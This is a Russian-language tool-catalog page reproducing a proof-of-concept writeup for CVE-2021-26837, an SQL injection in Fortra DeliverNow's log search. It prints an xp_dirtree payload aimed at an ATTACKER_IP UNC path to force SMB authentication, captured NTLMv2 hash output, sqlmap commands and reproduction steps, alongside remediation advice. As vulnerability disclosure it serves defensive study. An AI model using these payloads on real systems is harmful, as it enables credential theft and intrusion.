Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-26837 — CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18. | Kitploit
Инструменты/GitHubGitHub/l0lsec/cve-2021-26837
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18.

Репозиторий
26 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2021-26837

SQL-инъекция в HelpSystems / Fortra DeliverNow

Параметр SearchTextbox на странице поиска логов DeliverNow (/LogGrid.aspx) напрямую конкатенируется в SQL Server запрос без параметризации и без серверной валидации. Приложение также отображало пользователю ошибки парсера SQL Server, что и позволило обнаружить уязвимость в первую очередь.

Соединение с базой данных выполнялось под пользователем sa, поэтому инъекция унаследовала полные права sysadmin на экземпляре. Этого было достаточно, чтобы вызвать master.dbo.xp_dirtree против UNC-пути, контролируемого атакующим, и заставить учётную запись службы SQL Server аутентифицироваться наружу.

Обнаружено во время внутреннего пентеста. Исправлено вендором в DeliverNow 1.2.18 и опубликовано как CVE-2021-26837.

Обнаружено и сообщено Седриком Луизантом из Show Up Show Out Security.


Сводка

CVECVE-2021-26837
ПродуктDeliverNow (HelpSystems, теперь Fortra)
Затронутые версиидо 1.2.18 (в оригинальном уведомлении указаны 1.2.18 и более ранние)
УязвимостьCWE-89: SQL-инъекция
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (исследователь)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Опубликовано2023-09-19
Протестировано наWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

Описание NVD:

Уязвимость SQL-инъекции в параметре SearchTextBox в Fortra (ранее HelpSystems) DeliverNow до версии 1.2.18 позволяет атакующим выполнять произвольный код, повышать привилегии и получать конфиденциальную информацию.

Технические детали

Точка инъекции

POST /LogGrid.aspx, параметр тела SearchTextbox. Форма представляет собой элемент поиска в представлении Log приложения. ddlFieldName выбирает столбец для поиска (Description в приведённых ниже запросах), а SearchTextbox содержит искомое значение.

Одинарной кавычки достаточно, чтобы это доказать:

root@kitploit:~
blah'

Ответ отображает ошибку парсера SQL Server непосредственно на странице:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Поиск логов возвращает ошибку незакрытой кавычки

Такое раскрытие ошибки само по себе является находкой. Оно превращает то, что в противном случае было бы слепой инъекцией, в полностью интерактивную.

Внеполосное подтверждение через xp_dirtree

Поскольку соединение выполняется под пользователем sa, master.dbo.xp_dirtree доступен. Указав его на UNC-путь на контролируемом вами хосте, вы заставляете учётную запись службы SQL Server аутентифицироваться наружу по SMB:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Полезная нагрузка в поле поиска

Полный запрос в poc/exploited-request.http, полезные нагрузки в poc/payloads.sql.

Эксплуатируемый HTTP-запрос

Захваченная аутентификация

При прослушивании с помощью smbserver.py из Impacket учётная запись службы SQL Server аутентифицируется и раскрывает NTLMv2-хэш:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Принудительная аутентификация, захваченная с помощью Impacket

Затем хэш доступен для офлайн-взлома или NTLM-ретрансляции на другой хост.

Контекст привилегий

sqlmap подтверждает инъекцию и уровень привилегий:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

Перечисление sqlmap показывает текущего пользователя sa

sa означает, что все хэши входа на экземпляре доступны для чтения, а xp_cmdshell находится на расстоянии одного вызова sp_configure от выполнения команд на хосте.

Воспроизведение

На лабораторном экземпляре, которым вы владеете или имеете разрешение на тестирование:

  1. Перейдите в веб-интерфейс DeliverNow (по умолчанию http://<host>:1080/) и откройте Log.
  2. Введите blah' в поле поиска и отправьте. Уязвимая сборка отобразит ошибку парсера SQL Server на странице.
  3. Запустите прослушиватель на хосте, доступном для цели:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Отправьте полезную нагрузку xp_dirtree из poc/payloads.sql, подставив свой собственный IP-адрес. Уязвимая сборка вызовет входящую SMB-аутентификацию от учётной записи службы SQL Server.
  5. По желанию подтвердите с помощью sqlmap, используя сохранённый запрос:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Содержимое репозитория

root@kitploit:~
poc/
  payloads.sql            Полезные нагрузки для обнаружения и внеполосного использования SearchTextbox
  exploited-request.http  Полный POST-запрос, готовый для sqlmap -r
  sqlmap.md               Команды sqlmap и ожидаемый вывод
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Хосты и хэши в захватах относятся к исходному заданию и давно неактуальны. Подставьте свой собственный адрес прослушивателя при воспроизведении.

Устранение

  1. Используйте параметризованные запросы / подготовленные выражения для каждого запроса, создаваемого из пользовательского ввода. Это фактическое исправление. Всё остальное — глубокая защита.
  2. Проверяйте и очищайте на стороне сервера. Тело POST полностью контролируется атакующим, независимо от того, что допускает клиентская форма.
  3. Прекратите подключаться как sa. Приложению нужен доступ на чтение и запись к своим таблицам. Ему не нужны права sysadmin, и ему не нужен xp_dirtree. Минимальные привилегии не предотвратили бы инъекцию, но ограничили бы её.
  4. Не выводите ошибки базы данных пользователям. Логируйте их на стороне сервера и возвращайте общее сообщение.
  5. Ограничьте исходящий SMB с серверов баз данных на сетевом уровне, что устранит используемый здесь внеполосный канал.

Исправлено вендором в DeliverNow 1.2.18. Обновитесь.

Хронология

ДатаСобытие
2021Обнаружено во время внутреннего пентеста и сообщено в HelpSystems
2021Исправлено в DeliverNow 1.2.18
2023-09-19CVE-2021-26837 опубликован в NVD, оценка 9.8 Critical

Публикации

  • Личный аккаунт: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Отказ от ответственности

Опубликовано после исправления вендором, для защитного и образовательного использования. Приведённые здесь полезные нагрузки нацелены на версию, исправленную годы назад. Не запускайте их против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.

Скачать инструмент